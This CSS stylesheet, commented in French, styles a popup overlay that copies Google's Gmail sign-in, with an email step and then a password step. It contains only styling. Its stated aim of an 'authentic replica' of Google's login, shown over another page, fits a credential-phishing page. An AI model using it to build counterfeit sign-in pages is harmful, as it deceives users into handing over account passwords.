/* Gmail Popup Styles - Réplique authentique */
:root {
    --google-blue: #1a73e8;
    --google-blue-hover: #1557b0;
    --google-red: #ea4335;
    --google-yellow: #fbbc04;
    --google-green: #34a853;
    --google-grey: #5f6368;
    --google-light-grey: #f8f9fa;
    --google-border: #dadce0;
    --google-text: #202124;
    --google-text-secondary: #5f6368;
}

/* Overlay pour la popup */
.gmail-popup-overlay {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: rgba(0, 0, 0, 0.5);
    z-index: 10000;
    display: flex;
    align-items: center;
    justify-content: center;
    opacity: 0;
    visibility: hidden;
    transition: all 0.3s ease;
}

.gmail-popup-overlay.active {
    opacity: 1;
    visibility: visible;
}

/* Container principal de la popup */
.gmail-popup {
    background: #fff;
    border-radius: 8px;
    box-shadow: 0 8px 32px rgba(0, 0, 0, 0.3);
    width: 450px;
    max-width: 90vw;
    max-height: 90vh;
    overflow: hidden;
    transform: scale(0.8);
    transition: transform 0.3s ease;
}

.gmail-popup-overlay.active .gmail-popup {
    transform: scale(1);
}

/* Header de la popup */
.gmail-popup-header {
    padding: 48px 48px 0 48px;
    text-align: center;
}

.gmail-popup-header .google-logo {
    width: 75px;
    height: 24px;
    margin-bottom: 16px;
}

.gmail-popup-title {
    font-size: 24px;
    font-weight: 400;
    color: var(--google-text);
    margin-bottom: 8px;
    font-family: 'Google Sans', Roboto, Arial, sans-serif;
}

.gmail-popup-subtitle {
    font-size: 16px;
    color: var(--google-text-secondary);
    margin-bottom: 32px;
    font-family: Roboto, Arial, sans-serif;
}

/* Corps de la popup */
.gmail-popup-body {
    padding: 0 48px 48px 48px;
}

/* Étape 1 : Email */
.gmail-step-email {
    display: block;
}

.gmail-step-email.hidden {
    display: none;
}

/* Étape 2 : Mot de passe */
.gmail-step-password {
    display: none;
}

.gmail-step-password.active {
    display: block;
}

/* Informations utilisateur dans l'étape mot de passe */
.gmail-user-info {
    display: flex;
    align-items: center;
    margin-bottom: 24px;
    padding: 12px;
    border: 1px solid var(--google-border);
    border-radius: 8px;
    background: var(--google-light-grey);
}

.gmail-user-avatar {
    width: 32px;
    height: 32px;
    border-radius: 50%;
    background: var(--google-blue);
    display: flex;
    align-items: center;
    justify-content: center;
    color: white;
    font-weight: 500;
    margin-right: 12px;
    font-size: 14px;
}

.gmail-user-details {
    flex: 1;
}

.gmail-user-email {
    font-size: 14px;
    color: var(--google-text);
    font-weight: 500;
}

.gmail-user-name {
    font-size: 12px;
    color: var(--google-text-secondary);
}

/* Champs de saisie */
.gmail-input-group {
    margin-bottom: 24px;
    position: relative;
}

.gmail-input {
    width: 100%;
    height: 56px;
    border: 1px solid var(--google-border);
    border-radius: 4px;
    padding: 16px;
    font-size: 16px;
    font-family: Roboto, Arial, sans-serif;
    color: var(--google-text);
    background: #fff;
    transition: border-color 0.2s ease;
}

.gmail-input:focus {
    outline: none;
    border-color: var(--google-blue);
    border-width: 2px;
    padding: 15px; /* Compenser la bordure plus épaisse */
}

.gmail-input::placeholder {
    color: var(--google-text-secondary);
}

/* Label flottant */
.gmail-label {
    position: absolute;
    left: 16px;
    top: 50%;
    transform: translateY(-50%);
    color: var(--google-text-secondary);
    font-size: 16px;
    transition: all 0.2s ease;
    pointer-events: none;
    background: #fff;
    padding: 0 4px;
}

.gmail-input:focus + .gmail-label,
.gmail-input:not(:placeholder-shown) + .gmail-label {
    top: 0;
    font-size: 12px;
    color: var(--google-blue);
}

/* Lien mot de passe oublié */
.gmail-forgot-password {
    text-align: left;
    margin-bottom: 32px;
}

.gmail-forgot-password a {
    color: var(--google-blue);
    text-decoration: none;
    font-size: 14px;
    font-weight: 500;
}

.gmail-forgot-password a:hover {
    text-decoration: underline;
}

/* Checkbox */
.gmail-checkbox-group {
    display: flex;
    align-items: center;
    margin-bottom: 32px;
}

.gmail-checkbox {
    width: 18px;
    height: 18px;
    margin-right: 12px;
    accent-color: var(--google-blue);
}

.gmail-checkbox-label {
    font-size: 14px;
    color: var(--google-text);
    cursor: pointer;
}

/* Boutons */
.gmail-buttons {
    display: flex;
    justify-content: space-between;
    align-items: center;
    margin-top: 32px;
}

.gmail-btn {
    border: none;
    border-radius: 4px;
    padding: 10px 24px;
    font-size: 14px;
    font-weight: 500;
    cursor: pointer;
    transition: all 0.2s ease;
    font-family: 'Google Sans', Roboto, Arial, sans-serif;
}

.gmail-btn-secondary {
    background: transparent;
    color: var(--google-blue);
    border: 1px solid var(--google-border);
}

.gmail-btn-secondary:hover {
    background: var(--google-light-grey);
}

.gmail-btn-primary {
    background: var(--google-blue);
    color: white;
    min-width: 80px;
}

.gmail-btn-primary:hover {
    background: var(--google-blue-hover);
    box-shadow: 0 1px 2px rgba(0, 0, 0, 0.1);
}

.gmail-btn-primary:disabled {
    background: var(--google-border);
    cursor: not-allowed;
}

/* Footer */
.gmail-popup-footer {
    padding: 24px 48px;
    border-top: 1px solid var(--google-border);
    display: flex;
    justify-content: space-between;
    align-items: center;
    font-size: 12px;
    color: var(--google-text-secondary);
}

.gmail-language-selector {
    background: none;
    border: none;
    color: var(--google-text-secondary);
    cursor: pointer;
    font-size: 12px;
}

.gmail-footer-links {
    display: flex;
    gap: 24px;
}

.gmail-footer-links a {
    color: var(--google-text-secondary);
    text-decoration: none;
}

.gmail-footer-links a:hover {
    color: var(--google-text);
}

/* Message d'erreur */
.gmail-error {
    color: var(--google-red);
    font-size: 12px;
    margin-top: 8px;
    display: none;
}

.gmail-error.active {
    display: block;
}

/* Animations de chargement */
.gmail-loading {
    display: inline-block;
    width: 16px;
    height: 16px;
    border: 2px solid var(--google-border);
    border-radius: 50%;
    border-top-color: var(--google-blue);
    animation: spin 1s ease-in-out infinite;
    margin-right: 8px;
}

@keyframes spin {
    to { transform: rotate(360deg); }
}

/* Responsive */
@media (max-width: 480px) {
    .gmail-popup {
        width: 100%;
        margin: 20px;
        border-radius: 0;
    }
    
    .gmail-popup-header,
    .gmail-popup-body,
    .gmail-popup-footer {
        padding-left: 24px;
        padding-right: 24px;
    }
    
    .gmail-buttons {
        flex-direction: column;
        gap: 16px;
    }
    
    .gmail-btn {
        width: 100%;
    }
}

/* Mode sombre */
@media (prefers-color-scheme: dark) {
    .gmail-popup {
        background: #202124;
        color: #e8eaed;
    }
    
    .gmail-popup-title {
        color: #e8eaed;
    }
    
    .gmail-input {
        background: #303134;
        border-color: #5f6368;
        color: #e8eaed;
    }
    
    .gmail-input:focus {
        border-color: var(--google-blue);
    }
    
    .gmail-label {
        background: #202124;
        color: #9aa0a6;
    }
    
    .gmail-user-info {
        background: #303134;
        border-color: #5f6368;
    }
}
